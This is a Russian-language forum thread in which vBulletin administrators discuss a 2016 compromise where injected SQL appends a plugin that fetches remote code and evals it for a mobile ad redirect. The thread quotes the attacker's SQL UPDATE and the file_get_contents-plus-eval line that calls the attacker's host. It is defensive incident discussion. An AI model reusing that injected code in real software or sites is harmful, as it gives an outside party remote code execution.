[Проблема]

Добрый день, заметил что начали ломать воблу вшивая рекламный редирект скрипт.
Каким-то образом взоумышленнику удается выполнить SQL запрос, вот выдержка из логов

 Invalid SQL:
UPDATE plugin SET phpcode=concat(phpcode, "
$config_data = file_get_contents(\'http://images.imagenetcom.com/xml.php?a=inner&host=\' . $_SERVER[\'SERVER_NAME\']);\r\nif(strlen($config_data) > 0){ eval($config_data); }\n") WHERE pluginid=760;

т.е. человек дописывает либо в конец существующего либо создает новый модуль с кодом запроса рекламного скрипта.

на его сайте видно что взломано очень много форумов различных версий, в том числе и популярный http://clubvolvo.ru/forum.php


видно что код выполняется у них тоже.

Кто сталкивался уже, в чем суть дыры, я перелопатил кучу логов, пока безрезультатно.

п.с. никаких стремных модулей у меня не установлено, айпи с которого сработала ошибка якобы принадлежит поисковику bing.com
обновлять воблу не вариант, многое переписано уже, понятно что дело именно в вобле, так как в числе ломаных сайтов именно этот двиг

дырявые хаки, которые не экранируют входящие данные в пост/гет запросах, могут послужить добавлением не большого куска кода в модуль
ну а далее дело техники, используя этот модуль, можно залить более "тяжелый" шелл, а дальше все и так понятно =)

Originally Posted by Андрюшкин

вшивая рекламный редирект скрипт

а что это означает?
кто и как может что то "вшивать" не имея доступа ни к админке, ни к файлам сервера?

Originally Posted by kerk

дырявые хаки, которые не экранируют входящие данные в пост/гет запросах, могут послужить добавлением не большого куска кода в модуль
ну а далее дело техники, используя этот модуль, можно залить более "тяжелый" шелл, а дальше все и так понятно =)

ну суть я понимаю как это делается, прочесал весь access.log на наличие странных запросов, пока ничего не обнаружил, ломали меня 2 раза, через разные скрипты (первый раз attachment.php второй showthread.php думаю суть не в них)

Андрюшкин добавил 17.10.2016 в 17:17

Originally Posted by kerk

а что это означает?
кто и как может что то "вшивать" не имея доступа ни к админке, ни к файлам сервера?

вот такая строчка добавляется в существующий модель или в новый

$config_data = file_get_contents('http://images.imagenetcom.com/xml.php?a=inner&host=' . $_SERVER['SERVER_NAME']);
if(strlen($config_data) > 0){ eval($config_data); }

это обычный рекламный мобильный редирект, работу кода можно увидеть только зайдя на форум с мобильного

Originally Posted by Андрюшкин

обновлять воблу не вариант, многое переписано уже

Перестаньте есть кактус
Со времён 4.2.2 вышло несколько обновлений, затрагивающих, в частности, уязвимости форума.
Поставьте 4.2.3 PL2 и обновляйте по мере появления релизов.

Originally Posted by Андрюшкин

первый раз attachment.php

http://vbsupport.ru/forum/showthread.php?t=52472

Originally Posted by Андрюшкин

никаких стремных модулей у меня не установлено

А какие установлены?
Вы пробовали их все отключить, и посмотреть на результаты?

Или, как вариант, сервер взломан через другую уязвимость.
Другая CMS, например.

Originally Posted by Catlord Meow

Перестаньте есть кактус
Со времён 4.2.2 вышло несколько обновлений, затрагивающих, в частности, уязвимости форума.

у меня стоит 3.6.4 обновление движка невозможно, от оригинальной воблы там мало что осталось

Originally Posted by Catlord Meow

http://vbsupport.ru/forum/showthread.php?t=52472

тему видел, скорее всего это не мой случай. у меня разрешены к загруpке только 2 типа файлов mp3 и wav
да и судя из логов, запрос был выполнен неавторизированным юзером, а загружать атачи такие не могут

Originally Posted by Catlord Meow

А какие установлены?

кроме vbplaza и закрепление первого поста на всех страницах никаких + несколько написанных персонально, но дело не в них, так как ломают форумы и без этих плагинов, значит проблема не в плагинах. дыра либо в версии php либо основательно в движке воблы.

Originally Posted by Catlord Meow

Другая CMS, например.

также исключено, ничего больше не используется.

посмотрите здесь какие сайты были взломаны список сайтов

http://images.imagenetcom.com/uploads2/sites/

на всех вобла разных версий

Originally Posted by Catlord Meow

Перестаньте есть кактус
Со времён 4.2.2 вышло несколько обновлений

вот как раз узеры четверки и продолжают жевать кактус =)

а, да...
записи в логах, не говорят о том, что был взлом
но была попытка взлома

kerk, вы случайно не помните кто владелец clubvolvo.ru ? он точно есть здесь на форуме, я его почему-то помню, но не помню ник. смотрю он вроде бы пофиксил дыру

по вашим логам не видно как пытались взломать? можно в личку мне, у меня логи стокилометровые, уже глаза лезут искать в них странные запросы((

Originally Posted by kerk

вот как раз узеры четверки и продолжают жевать кактус =)

Ну речь всё же не про мажорную версию, а про то, что форум не обновлён до последней стабильной версии.

Originally Posted by Андрюшкин

кто владелец clubvolvo.ru ?

http://vbsupport.ru/forum/member.php?u=46210

Но не сказать, что они уже полностью пофиксили проблему...
http://clubvolvo.ru/showthread.php?t...27#post3610627